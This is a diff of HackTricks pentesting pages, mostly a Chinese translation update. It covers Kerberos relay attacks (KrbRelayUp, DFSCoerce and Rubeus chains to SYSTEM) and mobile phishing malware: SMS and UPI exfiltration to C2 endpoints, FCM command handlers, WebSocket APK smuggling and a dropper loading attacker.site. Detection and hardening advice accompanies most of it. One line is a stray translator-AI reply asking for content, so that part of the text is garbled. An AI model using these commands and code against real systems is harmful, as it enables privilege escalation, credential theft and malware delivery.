2. **无通道保护:** SMB/LDAP 签名关闭,HTTP/LDAPS 的 EPA 关闭。
|
||||
3. **您可以拦截或强制身份验证:** LLMNR/NBNS 中毒,DNS 欺骗,**PetitPotam / DFSCoerce RPC**,伪造 AuthIP,恶意 DCOM 等。
|
||||
4. **票证来源未被使用:** 您在真实数据包到达之前赢得比赛或完全阻止它;否则服务器的重放缓存会触发事件 4649。
|
||||
5. 您需要以某种方式能够在通信中执行 **MitM**,可能是 DNSAmins 组的一部分,以修改域的 DNS 或能够更改受害者的 HOST 文件。
|
||||
1. **Shared key:** 源和目标 SPN 属于同一台计算机账户(在 Windows 服务器上为默认行为)。
|
||||
2. **No channel protection:** SMB/LDAP 签名关闭,并且 HTTP/LDAPS 的 EPA 关闭。
|
||||
3. **你能拦截或强制认证:** LLMNR/NBNS 欺骗、DNS 欺骗、**PetitPotam / DFSCoerce RPC**、伪造 AuthIP、恶意 DCOM 等。
|
||||
4. **票据来源未被使用:** 你必须在真实数据包到达前赢得竞赛或完全阻断它;否则服务器的重放缓存会触发 Event 4649。
|
||||
5. 你需要以某种方式对通信执行 MitM,例如成为 DNSAdmins 组以修改域 DNS,或能够更改受害者的 HOST 文件。
|
||||
|
||||
### Kerberos 中继步骤
|
||||
### Kerberos Relay Steps
|
||||
|
||||
- 3.1 **侦察主机**
|
||||
- 3.1 **Recon the host**
|
||||
```powershell
|
||||
# find servers where HTTP, LDAP or CIFS share the same machine account
|
||||
Get-ADComputer -Filter * -Properties servicePrincipalName |
|
||||
@ -162,20 +224,20 @@ Select Name,servicePrincipalName
|
||||
# one-click local SYSTEM via RBCD
|
||||
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
|
||||
```
|
||||
`KrbRelayUp` 将 **KrbRelay → LDAP → RBCD → Rubeus → SCM 绕过** 包装在一个二进制文件中。
|
||||
`KrbRelayUp` 将 **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** 封装在一个二进制文件中。
|
||||
|
||||
- 3.3 **强制 Kerberos 认证**
|
||||
- 3.3 **Coerce Kerberos auth**
|
||||
```powershell
|
||||
# coerce DC to auth over SMB with DFSCoerce
|
||||
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
|
||||
```
|
||||
DFSCoerce使DC向我们发送Kerberos `CIFS/DC01`票证。
|
||||
DFSCoerce 使 DC 向我们发送一个 Kerberos `CIFS/DC01` ticket。
|
||||
|
||||
- 3.4 **中继AP-REQ**
|
||||
- 3.4 **Relay the AP-REQ**
|
||||
|
||||
KrbRelay从SMB中提取GSS blob,将其重新打包为LDAP绑定,并将其转发到`ldap://DC01`——身份验证成功,因为**相同的密钥**解密了它。
|
||||
KrbRelay 从 SMB 中提取 GSS blob,将其重新打包为 LDAP bind,并转发到 `ldap://DC01`—身份验证成功,因为 **相同的密钥** 可以解密它。
|
||||
|
||||
- 3.5 **滥用LDAP ➜ RBCD ➜ SYSTEM**
|
||||
- 3.5 **Abuse LDAP ➜ RBCD ➜ SYSTEM**
|
||||
```powershell
|
||||
# (auto inside KrbRelayUp) manual for clarity
|
||||
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
|
||||
@ -183,47 +245,58 @@ KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
|
||||
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
|
||||
SCMUACBypass.exe
|
||||
```
|
||||
您现在拥有 **NT AUTHORITY\SYSTEM**。
|
||||
你现在拥有 **NT AUTHORITY\SYSTEM**。
|
||||
|
||||
### **值得了解的更多路径**
|
||||
|
||||
| 向量 | 技巧 | 重要性 |
|
||||
### **更多值得了解的路径**
|
||||
|
||||
| Vector | Trick | Why it matters |
|
||||
|--------|-------|----------------|
|
||||
| **AuthIP / IPSec** | 假服务器发送带有任意 SPN 的 **GSS-ID 负载**;客户端直接向您构建 AP-REQ | 即使跨子网也有效;默认情况下机器凭据 |
|
||||
| **DCOM / MSRPC** | 恶意 OXID 解析器强制客户端对任意 SPN 和端口进行身份验证 | 纯 *本地* 权限提升;绕过防火墙 |
|
||||
| **AD CS Web Enroll** | 将机器票据中继到 `HTTP/CA` 并获取证书,然后 **PKINIT** 生成 TGT | 绕过 LDAP 签名防御 |
|
||||
| **Shadow Credentials** | 写入 `msDS-KeyCredentialLink`,然后使用伪造的密钥对进行 PKINIT | 无需添加计算机帐户 |
|
||||
| **AuthIP / IPSec** | Fake server sends a **GSS-ID payload** with any SPN; client builds an AP-REQ straight to you | 即使跨子网也有效;machine creds 默认可用 |
|
||||
| **DCOM / MSRPC** | Malicious OXID resolver forces client to auth to arbitrary SPN and port | 纯*本地* priv-esc;绕过防火墙 |
|
||||
| **AD CS Web Enroll** | Relay machine ticket to `HTTP/CA` and get a cert, then **PKINIT** to mint TGTs | 绕过 LDAP 签名防护 |
|
||||
| **Shadow Credentials** | Write `msDS-KeyCredentialLink`, then PKINIT with forged key pair | 无需添加计算机账户 |
|
||||
|
||||
### **故障排除**
|
||||
### **故障排查**
|
||||
|
||||
| 错误 | 意义 | 修复 |
|
||||
| Error | Meaning | Fix |
|
||||
|-------|---------|-----|
|
||||
| `KRB_AP_ERR_MODIFIED` | 票据密钥 ≠ 目标密钥 | 错误的主机/SPN |
|
||||
| `KRB_AP_ERR_SKEW` | 时钟偏差 > 5 分钟 | 同步时间或使用 `w32tm` |
|
||||
| LDAP 绑定失败 | 强制签名 | 使用 AD CS 路径或禁用签名 |
|
||||
| 事件 4649 垃圾邮件 | 服务看到重复的身份验证器 | 阻止或竞争原始数据包 |
|
||||
| `KRB_AP_ERR_MODIFIED` | Ticket key ≠ target key | 主机/SPN 错误 |
|
||||
| `KRB_AP_ERR_SKEW` | Clock > 5 min offset | 同步时间或使用 `w32tm` |
|
||||
| LDAP bind fails | Signing enforced | 使用 AD CS 路径或禁用签名 |
|
||||
| Event 4649 spam | Service saw duplicate Authenticator | 阻断或与原始数据包竞争 |
|
||||
|
||||
### **检测**
|
||||
|
||||
* **Event 4769** 的激增,来自同一来源的 `CIFS/`、`HTTP/`、`LDAP/` 在几秒钟内。
|
||||
* 在短时间内来自同一来源的对 `CIFS/`、`HTTP/`、`LDAP/` 的 **Event 4769** 激增。
|
||||
* 服务上的 **Event 4649** 表示检测到重放。
|
||||
* 来自 **127.0.0.1** 的 Kerberos 登录(中继到本地 SCM)高度可疑—通过 KrbRelayUp 文档中的 Sigma 规则进行映射。
|
||||
* 监视对 `msDS-AllowedToActOnBehalfOfOtherIdentity` 或 `msDS-KeyCredentialLink` 属性的更改。
|
||||
* 来自 **127.0.0.1** 的 Kerberos 登录(中继到本地 SCM)高度可疑——可通过 KrbRelayUp 文档中的 Sigma 规则进行映射。
|
||||
* 监控 `msDS-AllowedToActOnBehalfOfOtherIdentity` 或 `msDS-KeyCredentialLink` 属性的更改。
|
||||
|
||||
## **加固**
|
||||
|
||||
1. 在每台服务器上 **强制执行 LDAP 和 SMB 签名 + EPA**。
|
||||
2. **拆分 SPN**,使 HTTP 不与 CIFS/LDAP 在同一帐户上。
|
||||
3. 修补强制向量(PetitPotam KB5005413、DFS、AuthIP)。
|
||||
4. 设置 **`ms-DS-MachineAccountQuota = 0`** 以阻止恶意计算机加入。
|
||||
5. 对 **Event 4649** 和意外的回环 Kerberos 登录发出警报。
|
||||
1. **在每台服务器上强制启用 LDAP & SMB 签名 + EPA**。
|
||||
2. **拆分 SPNs**,使 HTTP 不与 CIFS/LDAP 使用同一账户。
|
||||
3. 修补强制协商向量(PetitPotam KB5005413、DFS、AuthIP)。
|
||||
4. 将 **`ms-DS-MachineAccountQuota = 0`** 设置为防止恶意计算机加入。
|
||||
5. 针对 **Event 4649** 和异常的回环 Kerberos 登录设置告警。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||||
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
|
||||
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
|
||||
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
|
||||
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
|
||||
- [WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)](https://trustedsec.com/blog/wsus-is-sus-ntlm-relay-attacks-in-plain-sight)
|
||||
- [GoSecure – Abusing WSUS to enable NTLM relaying attacks](https://gosecure.ai/blog/2021/11/22/gosecure-investigates-abusing-windows-server-update-services-wsus-to-enable-ntlm-relaying-attacks)
|
||||
- [Impacket PR #2034 – Restore HTTP server in ntlmrelayx](https://github.com/fortra/impacket/pull/2034)
|
||||
- [Impacket PR #913 – HTTP relay support](https://github.com/fortra/impacket/pull/913)
|
||||
- [WSUScripts – wsusniff.py](https://github.com/Coontzy1/WSUScripts/blob/main/wsusniff.py)
|
||||
- [WSUScripts – wsuspider.sh](https://github.com/Coontzy1/WSUScripts/blob/main/wsuspider.sh)
|
||||
- [MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wsusod/e00a5e81-c600-40d9-96b5-9cab78364416)
|
||||
- [Microsoft – WSUS deprecation announcement](https://techcommunity.microsoft.com/blog/windows-itpro-blog/windows-server-update-services-wsus-deprecation/4250436)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -3,63 +3,63 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!INFO]
|
||||
> 本页涵盖威胁行为者通过钓鱼(SEO、社交工程、假商店、约会应用等)分发**恶意 Android APK**和**iOS mobile-configuration profiles**的技术。
|
||||
> 资料改编自 Zimperium zLabs 暴露的 SarangTrap 活动 (2025) 及其他公开研究。
|
||||
> 本页覆盖威胁行为者通过钓鱼(SEO、社会工程、假商店、约会应用等)分发 **malicious Android APKs** 和 **iOS mobile-configuration profiles** 的技术。
|
||||
> 资料改编自 Zimperium zLabs(2025)披露的 SarangTrap 活动及其他公开研究。
|
||||
|
||||
## 攻击流程
|
||||
|
||||
1. **SEO/Phishing 基础设施**
|
||||
* 注册大量相似域名(约会、云分享、汽车服务……)。
|
||||
– 在 `<title>` 元素中使用本地语言关键词和表情符号以提升 Google 排名。
|
||||
– 在同一落地页上同时托管 Android(`.apk`)和 iOS 安装说明。
|
||||
– 在 `<title>` 元素中使用本地语言关键词和表情以提升 Google 排名。
|
||||
– 在同一落地页上同时托管 Android(`.apk`)和 iOS 的安装说明。
|
||||
2. **第一阶段下载**
|
||||
* Android:指向一个*未签名*或“第三方商店”APK 的直接链接。
|
||||
* iOS:使用 `itms-services://` 或普通 HTTPS 链接指向恶意 **mobileconfig** 配置文件(见下文)。
|
||||
3. **安装后社交工程**
|
||||
* 第一次运行时,应用会要求提供一个**邀请 / 验证码**(制造独家访问幻觉)。
|
||||
* 该代码通过 **POST over HTTP** 发送至 Command-and-Control (C2)。
|
||||
* C2 回复 `{"success":true}` ➜ 恶意程序继续执行。
|
||||
* 在从未提交有效代码的 Sandbox / AV 动态分析环境中不会看到恶意行为(规避)。
|
||||
* Android:直接链接到一个未签名或“第三方商店”APK。
|
||||
* iOS:`itms-services://` 或普通 HTTPS 链接到恶意 **mobileconfig** profile(见下文)。
|
||||
3. **安装后社会工程**
|
||||
* 首次运行时,应用要求输入一个 **invitation / verification code**(营造专属访问的错觉)。
|
||||
* 该 code **通过 HTTP POST** 发送到 Command-and-Control (C2)。
|
||||
* C2 回复 `{"success":true}` ➜ 恶意代码继续执行。
|
||||
* 从未提交有效代码的 Sandbox / AV 动态分析看不到 **任何恶意行为**(规避检测)。
|
||||
4. **运行时权限滥用(Android)**
|
||||
* 危险权限仅在 C2 响应为正面后才请求:
|
||||
* 危险权限仅在收到 C2 正面响应后才请求:
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||
<!-- Older builds also asked for SMS permissions -->
|
||||
```
|
||||
* 最近的变种**从 `AndroidManifest.xml` 中移除了 SMS 的 `<uses-permission>`**,但保留了通过反射读取 SMS 的 Java/Kotlin 代码路径 ⇒ 在静态检测中得分更低,同时在通过 `AppOps` 滥用或旧目标上仍能工作。
|
||||
5. **伪装界面与后台收集**
|
||||
* 应用显示本地实现的无害视图(SMS 查看器、图库选择器)。
|
||||
* 与此同时它会外泄:
|
||||
- IMEI / IMSI,电话号码
|
||||
- 完整的 `ContactsContract` 导出(JSON 数组)
|
||||
* 近期变体 **从 `AndroidManifest.xml` 中移除了对 SMS 的 `<uses-permission>`**,但保留通过反射读取 SMS 的 Java/Kotlin 代码路径 ⇒ 在静态检测中评分降低,但在通过 `AppOps` 滥用或针对旧目标授予权限的设备上仍可工作。
|
||||
5. **伪装界面与后台采集**
|
||||
* 应用展示本地实现的无害视图(SMS viewer、gallery picker)。
|
||||
* 同时窃取并外传:
|
||||
- IMEI / IMSI、电话号码
|
||||
- 全量 `ContactsContract` 导出(JSON 数组)
|
||||
- 来自 `/sdcard/DCIM` 的 JPEG/PNG,使用 [Luban](https://github.com/Curzibn/Luban) 压缩以减小体积
|
||||
- 可选的 SMS 内容(`content://sms`)
|
||||
负载以批量压缩(batch-zipped)后通过 `HTTP POST /upload.php` 发送。
|
||||
载荷以批量 zip 打包,通过 `HTTP POST /upload.php` 发送。
|
||||
6. **iOS 投放技术**
|
||||
* 单个 **mobile-configuration profile** 可以请求 `PayloadType=com.apple.sharedlicenses`、`com.apple.managedConfiguration` 等,从而将设备注册到类似 “MDM” 的监督中。
|
||||
* 社交工程安装说明:
|
||||
1. 打开 Settings ➜ *Profile downloaded*。
|
||||
2. 点击 *Install* 三次(钓鱼页上的截图)。
|
||||
3. 信任未签名的配置文件 ➜ 攻击者在无需 App Store 审核的情况下获得 *Contacts* 与 *Photo* 权限。
|
||||
* 单个 mobile-configuration profile 可以请求 `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` 等,从而将设备注册到类似 “MDM” 的监督模式。
|
||||
* 社会工程安装提示:
|
||||
1. Open Settings ➜ *Profile downloaded*.
|
||||
2. Tap *Install* 三次(钓鱼页面上有截图)。
|
||||
3. Trust the unsigned profile ➜ 攻击者在不经过 App Store 审查的情况下获得 *Contacts* 与 *Photo* 授权。
|
||||
7. **网络层**
|
||||
* 明文 HTTP,通常在端口 80,Host 头像 `api.<phishingdomain>.com`。
|
||||
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)`(无 TLS → 容易被发现)。
|
||||
* 明文 HTTP,常在 80 端口,HOST header 类似 `api.<phishingdomain>.com`。
|
||||
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)`(无 TLS → 易被发现)。
|
||||
|
||||
## 防御测试 / 红队提示
|
||||
## 防御测试 / Red-Team 提示
|
||||
|
||||
* **动态分析绕过** – 在恶意软件评估时,使用 Frida/Objection 自动化邀请代码阶段以进入恶意分支。
|
||||
* **清单与运行时差异** – 比较 `aapt dump permissions` 与运行时的 `PackageManager#getRequestedPermissions()`;缺失的危险权限是红旗。
|
||||
* **网络诱饵** – 配置 `iptables -p tcp --dport 80 -j NFQUEUE` 来检测代码输入后异常的 POST 突发流量。
|
||||
* **mobileconfig 检查** – 在 macOS 使用 `security cms -D -i profile.mobileconfig` 列出 `PayloadContent` 并发现过多的权限声明。
|
||||
* **动态分析绕过** – 在恶意软件评估时,使用 Frida/Objection 自动化 invitation code 阶段以到达恶意分支。
|
||||
* **Manifest 与运行时差异** – 比较 `aapt dump permissions` 与运行时 `PackageManager#getRequestedPermissions()`;缺失的危险权限是一个异常信号。
|
||||
* **网络探针** – 配置 `iptables -p tcp --dport 80 -j NFQUEUE` 以检测在输入 code 后出现的异常 POST 激增。
|
||||
* **mobileconfig 检查** – 在 macOS 上使用 `security cms -D -i profile.mobileconfig` 列出 `PayloadContent` 并发现过度权限请求。
|
||||
|
||||
## 蓝队检测思路
|
||||
## Blue-Team 检测思路
|
||||
|
||||
* **Certificate Transparency / DNS Analytics** 用于捕捉关键词丰富域名的突然激增。
|
||||
* **User-Agent 与路径正则**:检测来自非 Google Play 的 Dalvik 客户端的 `(?i)POST\s+/(check|upload)\.php`。
|
||||
* **邀请码遥测** – 在 APK 安装后不久 POST 6–8 位数字验证码可能表明处于预备阶段。
|
||||
* **MobileConfig 签名校验** – 通过 MDM 策略阻止未签名的配置文件。
|
||||
* **Certificate Transparency / DNS Analytics** 以捕获大量关键词丰富的新域名。
|
||||
* **User-Agent & Path Regex**:`(?i)POST\s+/(check|upload)\.php` 来自非 Google Play 的 Dalvik 客户端。
|
||||
* **Invite-code 远程遥测** – APK 安装后不久出现 6–8 位数字代码的 POST 可能指示前期阶段。
|
||||
* **MobileConfig 签名策略** – 通过 MDM 策略阻止未签名的配置描述文件。
|
||||
|
||||
## Useful Frida Snippet: Auto-Bypass Invitation Code
|
||||
```python
|
||||
@ -88,30 +88,30 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
|
||||
```
|
||||
---
|
||||
|
||||
## Android WebView 支付钓鱼 (UPI) – Dropper + FCM C2 Pattern
|
||||
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
|
||||
|
||||
This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.
|
||||
|
||||
### 跨可信平台的投放链
|
||||
- YouTube 视频诱饵 → 描述包含短链接
|
||||
- 短链接 → GitHub Pages 钓鱼站点,模仿真实门户
|
||||
- 同一 GitHub 仓库托管了一个 APK,并带有伪造的“Google Play”徽章,直接链接到该文件
|
||||
### Delivery chain across trusted platforms
|
||||
- YouTube video lure → description contains a short link
|
||||
- 短链接 → GitHub Pages 钓鱼站点,仿冒合法门户
|
||||
- 同一 GitHub 仓库托管一个带有假 “Google Play” 徽章的 APK,徽章直接链接到该文件
|
||||
- 动态钓鱼页面托管在 Replit;远程命令通道使用 Firebase Cloud Messaging (FCM)
|
||||
|
||||
### Dropper 带嵌入载荷和离线安装
|
||||
- 第一个 APK 是一个安装程序 (dropper),它将真实恶件打包在 `assets/app.apk`,并提示用户禁用 Wi‑Fi/mobile data 以削弱云端检测。
|
||||
- 嵌入的载荷以无害标签安装(例如,“Secure Update”)。安装后,安装程序和载荷会作为独立的应用同时存在。
|
||||
### Dropper with embedded payload and offline install
|
||||
- 第一个 APK 是一个 installer (dropper),其中携带真正的恶意软件于 `assets/app.apk`,并提示用户禁用 Wi‑Fi/移动数据以削弱云端检测。
|
||||
- 嵌入的 payload 以无害标签安装(例如 “Secure Update”)。安装后,installer 和 payload 作为独立的 apps 共存。
|
||||
|
||||
静态分类提示(grep 用于查找嵌入的载荷):
|
||||
静态排查提示(使用 grep 搜索嵌入的 payload):
|
||||
```bash
|
||||
unzip -l sample.apk | grep -i "assets/app.apk"
|
||||
# Or:
|
||||
zipgrep -i "classes|.apk" sample.apk | head
|
||||
```
|
||||
### 通过短链接进行动态端点发现
|
||||
- Malware 从短链接获取纯文本、逗号分隔的活动端点列表;简单的字符串变换生成最终的 phishing 页面路径。
|
||||
### 通过短链动态发现端点
|
||||
- Malware 从短链获取一个明文、逗号分隔的可用端点列表;简单的字符串转换生成最终的 phishing 页面路径。
|
||||
|
||||
示例(已清理):
|
||||
示例(已脱敏):
|
||||
```
|
||||
GET https://rebrand.ly/dclinkto2
|
||||
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
|
||||
@ -128,26 +128,26 @@ String smsPost = parts[1];
|
||||
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
||||
```
|
||||
### 基于 WebView 的 UPI 凭证窃取
|
||||
- 步骤 “Make payment of ₹1 / UPI‑Lite” 在 WebView 内从动态端点加载攻击者的 HTML 表单,并捕获敏感字段(手机号、银行、UPI PIN),这些字段通过 `POST` 提交到 `addup.php`。
|
||||
- 步骤 “Make payment of ₹1 / UPI‑Lite” 在 WebView 内从动态端点加载攻击者 HTML 表单并捕获敏感字段(手机号、银行、UPI PIN),这些字段通过 `POST` 提交到 `addup.php`。
|
||||
|
||||
最小加载器:
|
||||
Minimal loader:
|
||||
```java
|
||||
WebView wv = findViewById(R.id.web);
|
||||
wv.getSettings().setJavaScriptEnabled(true);
|
||||
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
||||
```
|
||||
### Self-propagation and SMS/OTP interception
|
||||
- 在首次运行时会请求大量权限:
|
||||
### 自我传播和 SMS/OTP 拦截
|
||||
- 首次运行时会请求大量敏感权限:
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.SEND_SMS"/>
|
||||
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
||||
```
|
||||
- 联系人被循环用于从受害者设备批量发送 smishing 短信。
|
||||
- 收到的短信会被广播接收器拦截,并连同元数据(发送者、消息内容、SIM 卡槽、每台设备的随机 ID)上传到 `/addsm.php`。
|
||||
- 联系人会被循环遍历,以从受害者设备群发 smishing SMS。
|
||||
- 传入的 SMS 会被 broadcast receiver 截获,并连同元数据(发送者、消息正文、SIM 卡槽、每台设备的随机 ID)上传到 `/addsm.php`。
|
||||
|
||||
接收器草图:
|
||||
接收器示意:
|
||||
```java
|
||||
public void onReceive(Context c, Intent i){
|
||||
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
|
||||
@ -162,9 +162,9 @@ postForm(urlAddSms, new FormBody.Builder()
|
||||
}
|
||||
```
|
||||
### Firebase Cloud Messaging (FCM) 作为弹性 C2
|
||||
- payload 会向 FCM 注册;推送消息携带 `_type` 字段,用作触发操作的开关(例如,更新 phishing text templates、切换行为)。
|
||||
- payload 会向 FCM 注册;push 消息携带 `_type` 字段,作为触发动作的开关(例如,更新 phishing 文本模板、切换行为)。
|
||||
|
||||
示例 FCM payload:
|
||||
Example FCM payload:
|
||||
```json
|
||||
{
|
||||
"to": "<device_fcm_token>",
|
||||
@ -174,7 +174,7 @@ postForm(urlAddSms, new FormBody.Builder()
|
||||
}
|
||||
}
|
||||
```
|
||||
Handler 草图:
|
||||
Handler 草图:
|
||||
```java
|
||||
@Override
|
||||
public void onMessageReceived(RemoteMessage msg){
|
||||
@ -187,27 +187,68 @@ case "smish": sendSmishToContacts(); break;
|
||||
}
|
||||
```
|
||||
### Hunting patterns and IOCs
|
||||
- APK 包含位于 `assets/app.apk` 的二次负载
|
||||
- WebView 从 `gate.htm` 加载支付并将数据外传到 `/addup.php`
|
||||
- SMS 外传到 `/addsm.php`
|
||||
- 由 shortlink 驱动的配置获取(例如 `rebrand.ly/*`),返回 CSV endpoints
|
||||
- 应用被标记为通用 “Update/Secure Update”
|
||||
- 在不受信任的应用中,FCM `data` 消息包含 `_type` 判别字段
|
||||
- APK contains secondary payload at `assets/app.apk`
|
||||
- WebView loads payment from `gate.htm` and exfiltrates to `/addup.php`
|
||||
- SMS exfiltration to `/addsm.php`
|
||||
- Shortlink-driven config fetch (e.g., `rebrand.ly/*`) returning CSV endpoints
|
||||
- Apps labelled as generic “Update/Secure Update”
|
||||
- FCM `data` messages with a `_type` discriminator in untrusted apps
|
||||
|
||||
### Detection & defence ideas
|
||||
- 标记那些指示用户在安装期间禁用网络然后从 `assets/` 侧载第二个 APK 的应用。
|
||||
- 对权限元组触发告警:`READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + 基于 WebView 的支付流程。
|
||||
- 对非企业主机上的 `POST /addup.php|/addsm.php` 进行出口流量监控;阻断已知基础设施。
|
||||
- Mobile EDR 规则:不受信任的应用注册 FCM 并在 `_type` 字段上分支的行为。
|
||||
- Flag apps that instruct users to disable network during install and then side-load a second APK from `assets/`.
|
||||
- Alert on the permission tuple: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-based payment flows.
|
||||
- Egress monitoring for `POST /addup.php|/addsm.php` on non-corporate hosts; block known infrastructure.
|
||||
- Mobile EDR rules: untrusted app registering for FCM and branching on a `_type` field.
|
||||
|
||||
---
|
||||
|
||||
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn case study
|
||||
## Socket.IO/WebSocket-based APK Smuggling + Fake Google Play Pages
|
||||
|
||||
The RatOn banker/RAT campaign (ThreatFabric) 是一个具体例子,展示了现代 mobile phishing 操作如何混合 WebView droppers、基于 Accessibility 的 UI 自动化、overlays/ransom、Device Admin 强制、Automated Transfer System (ATS) 自动化、crypto wallet 接管,甚至 NFC-relay 编排。本节抽象出可复用的技术。
|
||||
攻击者越来越多地用嵌入在伪装为 Google Play 的诱饵中的 Socket.IO/WebSocket 通道替换静态 APK 链接。这样可以隐藏有效载荷 URL、绕过 URL/扩展名过滤,并保持逼真的安装用户体验。
|
||||
|
||||
在野外观察到的典型客户端流程:
|
||||
```javascript
|
||||
// Open Socket.IO channel and request payload
|
||||
const socket = io("wss://<lure-domain>/ws", { transports: ["websocket"] });
|
||||
socket.emit("startDownload", { app: "com.example.app" });
|
||||
|
||||
// Accumulate binary chunks and drive fake Play progress UI
|
||||
const chunks = [];
|
||||
socket.on("chunk", (chunk) => chunks.push(chunk));
|
||||
socket.on("downloadProgress", (p) => updateProgressBar(p));
|
||||
|
||||
// Assemble APK client‑side and trigger browser save dialog
|
||||
socket.on("downloadComplete", () => {
|
||||
const blob = new Blob(chunks, { type: "application/vnd.android.package-archive" });
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement("a");
|
||||
a.href = url; a.download = "app.apk"; a.style.display = "none";
|
||||
document.body.appendChild(a); a.click();
|
||||
});
|
||||
```
|
||||
为什么它能规避简单的防护措施:
|
||||
- No static APK URL is exposed; payload is reconstructed in memory from WebSocket frames.
|
||||
- URL/MIME/extension filters that block direct .apk responses may miss binary data tunneled via WebSockets/Socket.IO.
|
||||
- Crawlers and URL sandboxes that don’t execute WebSockets won’t retrieve the payload.
|
||||
|
||||
Hunting and detection ideas:
|
||||
- Web/network telemetry: flag WebSocket sessions that transfer large binary chunks followed by creation of a Blob with MIME application/vnd.android.package-archive and a programmatic `<a download>` click. Look for client strings like socket.emit('startDownload'), and events named chunk, downloadProgress, downloadComplete in page scripts.
|
||||
- Play-store spoof heuristics: on non-Google domains serving Play-like pages, hunt for Google Play UI strings such as http.html:"VfPpkd-jY41G-V67aGc", mixed-language templates, and fake “verification/progress” flows driven by WS events.
|
||||
- Controls: block APK delivery from non-Google origins; enforce MIME/extension policies that include WebSocket traffic; preserve browser safe-download prompts.
|
||||
|
||||
See also WebSocket tradecraft and tooling:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/websocket-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn 案例研究
|
||||
|
||||
The RatOn banker/RAT campaign (ThreatFabric) is a concrete example of how modern mobile phishing operations blend WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover, and even NFC-relay orchestration. This section abstracts the reusable techniques.
|
||||
|
||||
### Stage-1: WebView → native install bridge (dropper)
|
||||
攻击者展示一个指向攻击者页面的 WebView,并注入一个暴露原生安装器的 JavaScript 接口。用户点击 HTML 按钮会调用原生代码,安装打包在 dropper assets 中的二阶段 APK,然后直接启动它。
|
||||
攻击者展示一个指向恶意页面的 WebView,并注入一个 JavaScript interface 来暴露本地安装器。用户点击 HTML 按钮会调用本地代码,安装捆绑在 dropper assets 中的第二阶段 APK,然后直接启动它。
|
||||
|
||||
Minimal pattern:
|
||||
```java
|
||||
@ -238,22 +279,22 @@ wv.loadUrl("https://attacker.site/install.html");
|
||||
}
|
||||
}
|
||||
```
|
||||
请提供要翻译的 HTML 或文件内容(粘贴在此),我会将其中的英文按要求翻译为中文。
|
||||
请粘贴页面的 HTML 内容或文件文本,我会按要求把其中的英文翻译成中文,并严格保留原有的 markdown/HTML 标签、链接与路径。
|
||||
```html
|
||||
<button onclick="bridge.installApk()">Install</button>
|
||||
```
|
||||
安装后,dropper 通过显式的 package/activity 启动 payload:
|
||||
安装后,dropper 通过显式 package/activity 启动 payload:
|
||||
```java
|
||||
Intent i = new Intent();
|
||||
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
|
||||
startActivity(i);
|
||||
```
|
||||
检测思路:不受信任的应用调用 `addJavascriptInterface()` 并向 WebView 暴露类似安装器的接口;APK 在 `assets/` 下携带嵌入的二级负载并调用 Package Installer Session API。
|
||||
Hunting idea: 不受信任的应用调用 `addJavascriptInterface()` 并向 WebView 暴露类似安装器的方法;APK 在 `assets/` 下携带嵌入的 secondary payload 并调用 Package Installer Session API。
|
||||
|
||||
### 同意流程:Accessibility + Device Admin + 后续运行时提示
|
||||
